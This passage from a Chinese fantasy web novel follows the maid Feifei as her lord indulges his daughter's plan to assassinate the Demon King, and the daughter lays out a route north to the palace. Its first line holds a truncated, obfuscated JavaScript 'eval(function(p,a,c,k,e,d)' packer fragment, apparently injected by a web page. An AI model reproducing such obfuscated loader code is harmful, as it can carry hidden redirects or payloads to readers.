翩翩看着城主这副模样,想到街上那位大娘浑浊的泪眼,犹豫再三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“她比那些为了一己私欲就毁天灭地的混账东西,好上一千倍,一万倍!” “可——” 翩翩想起方才书房里那石破天惊的宣言,认真提醒道,“她刚刚说,要去刺杀妖王。” 被精准噎到的祝平安:“…………” 祝平安脸上的柔情瞬间僵住,他猛地站起身,在书房里焦躁地踱了两步,突然朝门外喊道:“来人!” 翩翩心中一动。 哦? 城主终于幡然醒悟,意识到女儿的志向已经危险到足以抄家灭族的地步。 所以终于下定决心,把小姐关禁闭了吗? 想到未来几天或许不用再早起去街上找演员陪小姐演戏,不用再担心小姐哪天真的捅破天…… 翩翩几乎快要留下幸福的泪水。 谁料,祝平安下一句话,直接将她的希望击得粉碎。 只见城主大人摸着下巴,沉吟着,带着一种近乎荒谬的认真问道:“你说……咱们玉阆城内,或者附近几座城里,能找到跟妖王陛下……长得有几分相似的演员吗?” 翩翩彻底无语。 啊啊啊啊啊!女儿奴不可取! 这根本就是病入膏肓,无药可医了啊!!! ————— 子时一刻。 万籁俱寂,城主府内大部分区域都已熄了灯,唯有巡夜侍卫的脚步声规律地响起。 翩翩睡得正沉,白日里的奔波和心累让她几乎沾枕即着。 然而,一道黑影悄无声息地撬开了她的窗户,灵活地钻了进来,熟门熟路地摸到床边,然后—— 哧溜一下钻进了她的被窝。 翩翩在睡梦中皱了皱眉,无意识地往旁边挪了挪。 那黑影却不依不饶,凑近她,伸出手,在她脸上拍了拍。 “翩翩?翩翩!” 是祝愿的声音,带着压抑不住的兴奋。 翩翩睡得正死,毫无反应。 祝愿显然不满意,她凑到翩翩耳边,深吸一口气,然后用她能发出的、最具穿透力的声音喊道:“年轻人——不可以这么早睡!!!” 翩翩猛地被惊醒,脑子被这魔音贯耳震得嗡嗡作响,一片空白。 她茫然地睁开眼,借着窗外透进来的微弱月光,她看清了眼前那张精神奕奕的脸庞。 哦,她忘了。 祝愿是妖修,而且修为不低。 根本不需要像她这个人类一样靠睡眠来恢复精力。 啊,可恶! 又在欺负她是人类! 想到之前在鲛人镇因为她是人类而饿肚子的经历,翩翩简直欲哭无泪,满心悲愤。 她刚想开口抱怨几句,祝愿却抢先一步,用手指比了个“嘘”的手势,神秘兮兮的。 “别出声,有大事!” 祝愿一边说着,一边在翩翩床上摊开了一张卷轴。 那是一张绘制精细的妖界地域图,上面用朱砂笔清晰地标注出了一条路线—— 从玉阆城出发,一路蜿蜒向北,直指地图上方那片被特殊标记、散发着森严气息的区域。 妖王宫。 “我都想好了,我们过几日就出发!” 祝愿的指尖点在地图上玉阆城的位置,然后沿着那条朱砂线缓缓向北移动,充满了决绝的意味。 “喏,就从这里,我们北上。” 她的目光灼灼,带着一种近乎盲目的自信和憧憬:“我们要假冒那些被选中、即将前往极乐域的小妖,混进队伍里。我倒要亲自去看看,这传说中能实现一切愿望的极乐域,到底是个什么鬼东西!” 最终,祝愿的手指重重地点在了地图上那座象征着妖界至高权力的宫殿图样上,语气斩钉截铁。 “以及——” 她深吸一口气。 “刺杀妖王。”